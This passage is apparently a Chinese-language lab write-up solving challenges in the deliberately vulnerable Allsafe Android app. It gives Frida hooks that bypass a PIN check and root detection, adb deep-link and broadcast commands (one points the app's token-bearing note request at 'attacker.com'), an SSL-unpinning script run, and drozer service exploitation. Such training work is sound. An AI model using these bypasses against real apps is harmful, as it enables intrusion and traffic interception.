&lt;pre&gt;&lt;code&gt;    public static final void onCreateView$lambda$0(SQLiteDatabase $db, TextInputEditText $username, SQLInjection this$0, TextInputEditText $password, View it) throws NoSuchAlgorithmException {
        Cursor cursor = $db.rawQuery(&quot;select * from user where username = &apos;&quot; + ((Object) $username.getText()) + &quot;&apos; and password = &apos;&quot; + this$0.md5(String.valueOf($password.getText())) + &quot;&apos;&quot;, null);
        Intrinsics.checkNotNullExpressionValue(cursor, &quot;rawQuery(...)&quot;);
        StringBuilder data = new StringBuilder();
        if (cursor.getCount() &amp;gt; 0) {
            cursor.moveToFirst();
            do {
                String user = cursor.getString(1);
                String pass = cursor.getString(2);
                data.append(&quot;User: &quot; + user + &quot; \nPass: &quot; + pass + &quot;\n&quot;);
            } while (cursor.moveToNext());
        }
        cursor.close();
        Toast.makeText(this$0.getContext(), data, 1).show();
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用sql语句漏洞，获得了所有用户的用户名与密码&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-13.png&quot; alt=&quot;Figure 13&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;PIN Bypass  PIN 码旁路&lt;/h1&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-14.png&quot; alt=&quot;Figure 14&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;PIN 码绕过漏洞是一种安全缺陷，它允许应用程序或设备绕过用户 PIN 码（个人识别码）验证，或被他人绕过。&lt;/p&gt;
&lt;p&gt;找到源码，其实pin码已经硬编码在代码里了，我们可以直接对其进行base64解码得到4863&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-15.png&quot; alt=&quot;Figure 15&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但这关是要让我们使用Frida来过关，我的思路是不验证随便输入一个都能通过验证，这需要我们来对验证函数进行挂钩&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Java.perform(function(){
    const pin=Java.use(&quot;infosecadventures.allsafe.challenges.PinBypass&quot;);
    pin.checkPin.implementation = function (pin){
    return true;
    }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\35159&amp;gt; frida -U -N infosecadventures.allsafe -l E:\ctf\linghsi\hook.js
     ____
    / _  |   Frida 17.8.0 - A world-class dynamic instrumentation toolkit
   | (_| |
    &amp;gt; _  |   Commands:
   /_/ |_|       help      -&amp;gt; Displays the help system
   . . . .       object?   -&amp;gt; Display information about &apos;object&apos;
   . . . .       exit/quit -&amp;gt; Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
   . . . .
   . . . .   Connected to Android Emulator 5554 (id=emulator-5554)
[Android Emulator 5554::infosecadventures.allsafe ]-&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即使我输的不是4863，也会通过&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-16.png&quot; alt=&quot;Figure 16&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Root Detection  根检测&lt;/h1&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-17.png&quot; alt=&quot;Figure 17&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Root 检测绕过漏洞允许攻击者绕过 Android 应用程序中开发者添加的用于检测设备是否已 root 的检查机制。通常情况下，应用程序应被禁止在已 root 的设备上运行，或者需要提高安全级别。然而，这些检查机制的薄弱或错误实现使得攻击者能够操纵 root 检测机制，从而使应用程序能够在已 root 的设备上运行，并禁用安全措施。&lt;/p&gt;
&lt;p&gt;源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static final void onCreateView$lambda$0(RootDetection this$0, View it) {
        if (new RootBeer(this$0.getContext()).isRooted()) {
            SnackUtil snackUtil = SnackUtil.INSTANCE;
            FragmentActivity fragmentActivityRequireActivity = this$0.requireActivity();
            Intrinsics.checkNotNullExpressionValue(fragmentActivityRequireActivity, &quot;requireActivity(...)&quot;);
            snackUtil.simpleMessage(fragmentActivityRequireActivity, &quot;Sorry, your device is rooted!&quot;);
            return;
        }
        SnackUtil snackUtil2 = SnackUtil.INSTANCE;
        FragmentActivity fragmentActivityRequireActivity2 = this$0.requireActivity();
        Intrinsics.checkNotNullExpressionValue(fragmentActivityRequireActivity2, &quot;requireActivity(...)&quot;);
        snackUtil2.simpleMessage(fragmentActivityRequireActivity2, &quot;Congrats, root is not detected!&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;hook脚本，使用的类com.scottyab.rootbeer.RootBeer&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-18.png&quot; alt=&quot;Figure 18&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Java.perform(function(){
    var rootdetection=Java.use(&quot;com.scottyab.rootbeer.RootBeer&quot;);
    rootdetection.isRooted.implementation = function (){
        return false;
    }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-19.png&quot; alt=&quot;Figure 19&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在来检测即使我们设备已经root了，也检测不到&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-20.png&quot; alt=&quot;Figure 20&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Deep Link Exploitation  深度链接利用&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;深度链接利用漏洞源于移动应用程序中使用的深度链接机制未能得到安全验证。深度链接允许用户直接重定向到应用程序的特定屏幕或功能。如果应用程序在处理通过深度链接接收的参数或调用时缺乏足够的身份验证和授权控制，攻击者就可以通过精心构造的链接访问应用程序的关键功能。这会导致一系列安全风险，例如未经授权的用户修改帐户设置、在未登录的情况下被重定向到授权屏幕，或触发敏感操作。&lt;/p&gt;
&lt;p&gt;源码定位&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class DeepLinkTask extends AppCompatActivity {
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_deep_link_task);
        Intent intent = getIntent();
        String action = intent.getAction();
        Uri data = intent.getData();
        Log.d(&quot;ALLSAFE&quot;, &quot;Action: &quot; + action + &quot; Data: &quot; + data);
        try {
            if (data.getQueryParameter(&quot;key&quot;).equals(getString(R.string.key))) {
                findViewById(R.id.container).setVisibility(0);
                SnackUtil.INSTANCE.simpleMessage(this, &quot;Good job, you did it!&quot;);
            } else {
                SnackUtil.INSTANCE.simpleMessage(this, &quot;Wrong key, try harder!&quot;);
            }
        } catch (Exception e) {
            SnackUtil.INSTANCE.simpleMessage(this, &quot;No key provided!&quot;);
            Log.e(&quot;ALLSAFE&quot;, e.getMessage());
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们先去string.xml里找到内置的key&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-21.png&quot; alt=&quot;Figure 21&quot; /&gt;&lt;/p&gt;
&lt;p&gt;url的具体格式要看AndroidManifest.xml里的这个Activity的intent-filter&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-22.png&quot; alt=&quot;Figure 22&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在 Android 应用程序中测试深度链接最常用的命令之一是 &lt;code&gt;adb shell am start&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell am start -W -a android.intent.action.VIEW -d &quot;deeplink://parametre?query=key&quot; com.hedef.uygulama
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;adb shell am start&lt;/code&gt; → 通过 Activity Manager 启动一个新的 intent。&lt;/p&gt;
&lt;p&gt;-W → 等待命令完成&lt;/p&gt;
&lt;p&gt;-a android.intent.action.VIEW → 动作中的意图（在通用视图中进行深度链接）。&lt;/p&gt;
&lt;p&gt;-d &quot;deeplink://...&quot; → 深度链接 URI（根据具体情况，此处会写入 URL 或自定义方案）。&lt;/p&gt;
&lt;p&gt;com.target.application → 目标应用程序的包名。&lt;/p&gt;
&lt;p&gt;根据我们上面找到的信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;scheme--&amp;gt;allsafe(方案）
host--&amp;gt;infosecadventures(主机）
pathPrefix--&amp;gt;/congrats（路径前缀）
软件包名称--&amp;gt;infosecadventures.allsafe
key--&amp;gt;ebfb7ff0-b2f6-41c8-bef3-4fba17be410c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总和下来命令为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell am start -W -a android.intent.action.VIEW -d &quot;allsafe://infosecadventures/congrats?key=ebfb7ff0-b2f6-41c8-bef3-4fba17be410c&quot; infosecadventures.allsafe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-23.png&quot; alt=&quot;Figure 23&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-24.png&quot; alt=&quot;Figure 24&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Insecure Broadcast Receiver 不安全的广播接收器&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当 Android 应用中使用的广播接收器组件未进行适当的安全控制或未启用安全设置时，就会出现不安全的广播接收器漏洞。如果广播接收器被标记为 exports=&quot;true&quot; 且未应用任何授权控制，其他应用或攻击者可以向该接收器发送恶意广播意图消息。这可能导致应用内触发未经授权的操作、访问敏感信息或出现意外的应用行为。&lt;/p&gt;
&lt;p&gt;在AndroidMainfest.xml文件里确定确实是导出状态&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-25.png&quot; alt=&quot;Figure 25&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去看源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class NoteReceiver extends BroadcastReceiver {
    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        String server = intent.getStringExtra(&quot;server&quot;);
        String note = intent.getStringExtra(&quot;note&quot;);
        String notification_message = intent.getStringExtra(&quot;notification_message&quot;);
        OkHttpClient okHttpClient = new OkHttpClient.Builder().build();
        HttpUrl httpUrl = new HttpUrl.Builder().scheme(&quot;http&quot;).host(server).addPathSegment(&quot;api&quot;).addPathSegment(&quot;v1&quot;).addPathSegment(&quot;note&quot;).addPathSegment(&quot;add&quot;).addQueryParameter(&quot;auth_token&quot;, &quot;YWxsc2FmZV9kZXZfYWRtaW5fdG9rZW4=&quot;).addQueryParameter(&quot;note&quot;, note).build();
        Log.d(&quot;ALLSAFE&quot;, httpUrl.getUrl());
        Request request = new Request.Builder().url(httpUrl).build();
        okHttpClient.newCall(request).enqueue(new Callback(this) { // from class: infosecadventures.allsafe.challenges.NoteReceiver.1
            @Override // okhttp3.Callback
            public void onFailure(Call call, IOException e) {
                Log.d(&quot;ALLSAFE&quot;, e.getMessage());
            }

            @Override // okhttp3.Callback
            public void onResponse(Call call, Response response) throws IOException {
                Log.d(&quot;ALLSAFE&quot;, ((ResponseBody) Objects.requireNonNull(response.body())).string());
            }
        });
        NotificationCompat.Builder builder = new NotificationCompat.Builder(context, &quot;ALLSAFE&quot;);
        builder.setContentTitle(&quot;Notification from Allsafe&quot;);
        builder.setContentText(notification_message);
        builder.setSmallIcon(R.mipmap.ic_launcher_round);
        builder.setAutoCancel(true);
        builder.setChannelId(&quot;ALLSAFE&quot;);
        Notification notification = builder.build();
        NotificationManager notificationManager = (NotificationManager) context.getSystemService(&quot;notification&quot;);
        NotificationChannel notificationChannel = new NotificationChannel(&quot;ALLSAFE&quot;, &quot;ALLSAFE_NOTIFICATION&quot;, 4);
        notificationManager.createNotificationChannel(notificationChannel);
        notificationManager.notify(1, notification);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先来分析一下吧&lt;/p&gt;
&lt;p&gt;从广播里取参数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-26.png&quot; alt=&quot;Figure 26&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发一个HTTP请求&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; HttpUrl httpUrl = new HttpUrl.Builder().scheme(&quot;http&quot;).host(server).addPathSegment(&quot;api&quot;).addPathSegment(&quot;v1&quot;).addPathSegment(&quot;note&quot;).addPathSegment(&quot;add&quot;).addQueryParameter(&quot;auth_token&quot;, &quot;YWxsc2FmZV9kZXZfYWRtaW5fdG9rZW4=&quot;).addQueryParameter(&quot;note&quot;, note).build();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;组合在一起，最终http长这样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://&amp;lt;server&amp;gt;/api/v1/note/add?auth_token=YWxsc2FmZV9kZXZfYWRtaW5fdG9rZW4=&amp;amp;note=&amp;lt;note&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;异步发送&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-27.png&quot; alt=&quot;Figure 27&quot; /&gt;&lt;/p&gt;
&lt;p&gt;伪造命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell am broadcast -n infosecadventures.allsafe/.challenges.NoteReceiver -a infosecadventures.allsafe.action.PROCESS_NOTE --es server &quot;attacker.com&quot; --es note &quot;hacked_by_me&quot; --es notification_message &quot;Hacked&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-28.png&quot; alt=&quot;Figure 28&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Vulnerable WebView  存在漏洞的 WebView&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;应用程序中使用的 WebView 组件通过 loadUrl() 和 loadData() 方法处理用户输入的数据，而未进行任何验证或过滤。loadUrl() 函数直接执行用户提供的 URL，而 loadData() 函数处理输入的 HTML/JavaScript 代码并将其渲染到浏览器引擎中。此外，使用 setJavaScriptEnabled(true) 允许攻击者执行恶意 JavaScript 代码。这可能使恶意用户能够在应用程序内执行 XSS 攻击、重定向到恶意网页或篡改应用程序内的数据。&lt;/p&gt;
&lt;p&gt;源代码&lt;/p&gt;
&lt;p&gt;输入框里的内容要么被当成 URL 打开，要么被当成 HTML 直接渲染&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class VulnerableWebView extends Fragment {
    @Override // androidx.fragment.app.Fragment
    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
        View view = inflater.inflate(R.layout.fragment_vulnerable_web_view, container, false);
        final TextInputEditText payload = (TextInputEditText) view.findViewById(R.id.payload);
        final WebView webView = (WebView) view.findViewById(R.id.webView);
        webView.setWebViewClient(new WebViewClient());
        WebSettings settings = webView.getSettings();
        settings.setJavaScriptEnabled(true);
        settings.setAllowFileAccess(true);
        settings.setLoadWithOverviewMode(true);
        settings.setSupportZoom(true);
        view.findViewById(R.id.execute).setOnClickListener(new View.OnClickListener() { // from class: infosecadventures.allsafe.challenges.VulnerableWebView$$ExternalSyntheticLambda0
            @Override // android.view.View.OnClickListener
            public final void onClick(View view2) {
                this.f$0.lambda$onCreateView$0(payload, webView, view2);
            }
        });
        return view;
    }

    /* JADX INFO: Access modifiers changed from: private */
    public /* synthetic */ void lambda$onCreateView$0(TextInputEditText payload, WebView webView, View v) {
        if (!((Editable) Objects.requireNonNull(payload.getText())).toString().isEmpty()) {
            if (URLUtil.isValidUrl(((Editable) Objects.requireNonNull(payload.getText())).toString())) {
                webView.loadUrl(payload.getText().toString());
                return;
            } else {
                webView.setWebChromeClient(new WebChromeClient());
                webView.loadData(payload.getText().toString(), &quot;text/html&quot;, &quot;UTF-8&quot;);
                return;
            }
        }
        SnackUtil.INSTANCE.simpleMessage(requireActivity(), &quot;No payload provided!&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目要求&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-29.png&quot; alt=&quot;Figure 29&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先输入一个正常的url&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-30.png&quot; alt=&quot;Figure 30&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-31.png&quot; alt=&quot;Figure 31&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里说明允许webview访问设备的文件系统，意味着webview可以访问使用file://URL方案打开的本地文件&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-32.png&quot; alt=&quot;Figure 32&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也可以&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-33.png&quot; alt=&quot;Figure 33&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Certificate Pinning  证书别针&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;移动应用程序中用于 SSL/TLS 证书验证的证书固定机制可被绕过。通常，证书固定机制确保客户端和服务器之间的通信仅信任特定的证书，从而防止中间人攻击 (MitM)。然而，如果应用程序中的此控制被绕过，攻击者可以使用逆向工程、运行时钩子（Frida、Xposed）或薄弱的证书固定实现来解密 SSL 流量。这会削弱应用程序的安全通信机制，并允许攻击者拦截本应加密的数据（用户名、密码、令牌、会话信息等）。&lt;/p&gt;
&lt;p&gt;运行一下frida codeshare里的SSL证书验证绕过脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\35159&amp;gt; frida -U --codeshare Q0120S/bypass-ssl-pinning -f infosecadventures.allsafe
     ____
    / _  |   Frida 17.8.0 - A world-class dynamic instrumentation toolkit
   | (_| |
    &amp;gt; _  |   Commands:
   /_/ |_|       help      -&amp;gt; Displays the help system
   . . . .       object?   -&amp;gt; Display information about &apos;object&apos;
   . . . .       exit/quit -&amp;gt; Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
   . . . .
   . . . .   Connected to Android Emulator 5554 (id=emulator-5554)
Spawning `infosecadventures.allsafe`...
Hello! This is the first time you&apos;re running this particular snippet, or the snippet&apos;s source code has changed.

Project Name: Bypass SSL Pinning
Author: @Q0120S
Slug: Q0120S/bypass-ssl-pinning
Fingerprint: ac76d00550025da4fbca5adaf93948a773ed982c9b53baa44e13e437bbef401e
URL: https://codeshare.frida.re/@Q0120S/bypass-ssl-pinning

Are you sure you&apos;d like to trust this project? [y/N] y
Adding fingerprint ac76d00550025da4fbca5adaf93948a773ed982c9b53baa44e13e437bbef401e to the trust store! You won&apos;t be prompted again unless the code changes.
Spawned `infosecadventures.allsafe`. Resuming main thread!
[Android Emulator 5554::infosecadventures.allsafe ]-&amp;gt; ---
Unpinning Android app...
[+] SSLPeerUnverifiedException auto-patcher
[+] HttpsURLConnection (setDefaultHostnameVerifier)
[+] HttpsURLConnection (setSSLSocketFactory)
[+] HttpsURLConnection (setHostnameVerifier)
[+] SSLContext
[+] TrustManagerImpl
[+] OkHTTPv3 (list)
[ ] OkHTTPv3 (cert)
[+] OkHTTPv3 (cert array)
[+] OkHTTPv3 ($okhttp)
[ ] Trustkit OkHostnameVerifier(SSLSession)
[ ] Trustkit OkHostnameVerifier(cert)
[ ] Trustkit PinningTrustManager
[ ] Appcelerator PinningTrustManager
[ ] OpenSSLSocketImpl Conscrypt
[ ] OpenSSLEngineSocketImpl Conscrypt
[ ] OpenSSLSocketImpl Apache Harmony
[ ] PhoneGap sslCertificateChecker
[ ] IBM MobileFirst pinTrustedCertificatePublicKey (string)
[ ] IBM MobileFirst pinTrustedCertificatePublicKey (string array)
[ ] IBM WorkLight HostNameVerifierWithCertificatePinning (SSLSocket)
[ ] IBM WorkLight HostNameVerifierWithCertificatePinning (cert)
[ ] IBM WorkLight HostNameVerifierWithCertificatePinning (string string)
[ ] IBM WorkLight HostNameVerifierWithCertificatePinning (SSLSession)
[ ] Conscrypt CertPinManager
[ ] CWAC-Netsecurity CertPinManager
[ ] Worklight Androidgap WLCertificatePinningPlugin
[ ] Netty FingerprintTrustManagerFactory
[ ] Squareup CertificatePinner (cert)
[ ] Squareup CertificatePinner (list)
[ ] Squareup OkHostnameVerifier (cert)
[ ] Squareup OkHostnameVerifier (SSLSession)
[+] Android WebViewClient (SslErrorHandler)
[ ] Android WebViewClient (WebResourceError)
[ ] Apache Cordova WebViewClient
[ ] Boye AbstractVerifier
[ ] Appmattus (CertificateTransparencyInterceptor)
[ ] Appmattus (CertificateTransparencyTrustManager)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再点击发送请求，BurpSuite就可以拦截到&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-34.png&quot; alt=&quot;Figure 34&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Weak Cryptography  弱密码学&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;该应用程序使用不安全的加密方法来加密和维护敏感数据的完整性。&lt;/p&gt;
&lt;p&gt;先看源码&lt;/p&gt;
&lt;p&gt;固定密钥（KEY = &quot;1nf053c4dv3n7ur3&quot;)&lt;/p&gt;
&lt;p&gt;AES加密使用ECB模式&lt;/p&gt;
&lt;p&gt;使用了MD5算法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class WeakCryptography extends Fragment {
    public static final String KEY = &quot;1nf053c4dv3n7ur3&quot;;

    public static String encrypt(String value) {
        try {
            SecretKeySpec secretKeySpec = new SecretKeySpec(KEY.getBytes(StandardCharsets.UTF_8), &quot;AES&quot;);
            Cipher cipher = Cipher.getInstance(&quot;AES/ECB/PKCS5PADDING&quot;);
            cipher.init(1, secretKeySpec);
            byte[] encrypted = cipher.doFinal(value.getBytes());
            return new String(encrypted);
        } catch (InvalidKeyException | NoSuchAlgorithmException | BadPaddingException | IllegalBlockSizeException | NoSuchPaddingException e) {
            e.printStackTrace();
            return null;
        }
    }

    public static String md5Hash(String text) {
        StringBuilder stringBuilder = new StringBuilder();
        try {
            MessageDigest digest = MessageDigest.getInstance(&quot;MD5&quot;);
            digest.update(text.getBytes());
            byte[] messageDigest = digest.digest();
            stringBuilder.append(String.format(&quot;%032X&quot;, new BigInteger(1, messageDigest)));
        } catch (Exception e) {
            Log.d(&quot;ALLSAFE&quot;, e.getLocalizedMessage());
        }
        return stringBuilder.toString();
    }

&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;&amp;lt;font style=&quot;color:rgb(36, 36, 36);&quot;&amp;gt;Insecure Service不安全的服务&amp;lt;/font&amp;gt;&lt;/h1&gt;
&lt;p&gt;主要原因就是，状态是可导出的，这意味着可以直接从终端调用它，而无需通过用户界面。这意味着任何恶意应用程序都可以利用此行为调用该服务并录制受害者的音频。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-35.png&quot; alt=&quot;Figure 35&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用drozer都能扫到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(.venv) PS E:\android\drozer&amp;gt; drozer console connect
Selecting 636b8e9b5dcaa8b2 (BlackShark SHARK PAR-A0 9)

            ..                    ..:.
           ..o..                  .r..
            ..a..  . ....... .  ..nd
              ro..idsnemesisand..pr
              .otectorandroidsneme.
           .,sisandprotectorandroids+.
         ..nemesisandprotectorandroidsn:.
        .emesisandprotectorandroidsnemes..
      ..isandp,..,rotecyayandro,..,idsnem.
      .isisandp..rotectorandroid..snemisis.
      ,andprotectorandroidsnemisisandprotec.
     .torandroidsnemesisandprotectorandroid.
     .snemisisandprotectorandroidsnemesisan:
     .dprotectorandroidsnemesisandprotector.

drozer Console (v3.1.0)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;dz&amp;gt; run app.package.attacksurface infosecadventures.allsafe
Attempting to run shell module
Attack Surface:
  3 activities exported
  2 broadcast receivers exported
  1 content providers exported
  1 services exported
    is debuggable
dz&amp;gt; run app.service.info -a infosecadventures.allsafe
Attempting to run shell module
Package: infosecadventures.allsafe
  infosecadventures.allsafe.challenges.RecorderService
    Permission: null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;外部访问就行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\35159&amp;gt; adb shell am startservice infosecadventures.allsafe/.challenges.RecorderService
Starting service: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=infosecadventures.allsafe/.challenges.RecorderService }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：FILE://STORAGE/EMULATED/DOWNLOAD/ALLSAFE_REC-20260403-160800743.MP3 --&amp;gt;
&lt;img src=&quot;./images/img-36.png&quot; alt=&quot;Figure 36&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&amp;lt;font style=&quot;color:rgb(36, 36, 36);&quot;&amp;gt;Object Serialization对象序列化&amp;lt;/font&amp;gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;该应用会创建一个包含 username 、 password 和 role User 对象。此对象使用 ObjectOutputStream 进行序列化，并以 user.dat 的名称保存在外部应用存储中，具体位置为 /sdcard/Android/data/infosecadventures.allsafe/files/ 。序列化允许将对象的状态写入文件，以便稍后检索。每个 User 对象都有一个 role 字段。默认情况下，该字段设置为 &quot;ROLE_AUTHOR&quot; 。如果用户的角色为 &quot;ROLE_EDITOR&quot; ，则授予其访问特定功能的权限；否则，拒绝访问。&lt;/p&gt;
&lt;p&gt;可利用的点就在这里， 他应用&lt;strong&gt;信任磁盘上的序列化数据，我们可以修改文件的role字段，从而绕过限制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;文件存放在&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：SDCARD/ANDROID/DATA/INFOSECADVENTURES.ALLSAFE/FILES/ 文件夹:0 文件:2 储存:2.23G/49.32G USER.DAT 26-04-03 16:21 175B --&amp;gt;
&lt;img src=&quot;./images/img-37.png&quot; alt=&quot;Figure 37&quot; /&gt;&lt;/p&gt;
&lt;p&gt;源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package infosecadventures.allsafe.challenges;

import android.os.Bundle;
import android.text.Editable;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.Toast;
import androidx.fragment.app.Fragment;
import com.google.android.material.textfield.TextInputEditText;
import infosecadventures.allsafe.R;
import infosecadventures.allsafe.utils.SnackUtil;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Objects;

/* JADX INFO: loaded from: classes4.dex */
public class ObjectSerialization extends Fragment {
    @Override // androidx.fragment.app.Fragment
    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
        View view = inflater.inflate(R.layout.fragment_object_serialization, container, false);
        final TextInputEditText username = (TextInputEditText) view.findViewById(R.id.username);
        final TextInputEditText password = (TextInputEditText) view.findViewById(R.id.password);
        Button save = (Button) view.findViewById(R.id.save);
        Button load = (Button) view.findViewById(R.id.load);
        final String path = requireActivity().getExternalFilesDir(null) + &quot;/user.dat&quot;;
        save.setOnClickListener(new View.OnClickListener() { // from class: infosecadventures.allsafe.challenges.ObjectSerialization$$ExternalSyntheticLambda0
            @Override // android.view.View.OnClickListener
            public final void onClick(View view2) {
                this.f$0.lambda$onCreateView$0(username, password, path, view2);
            }
        });
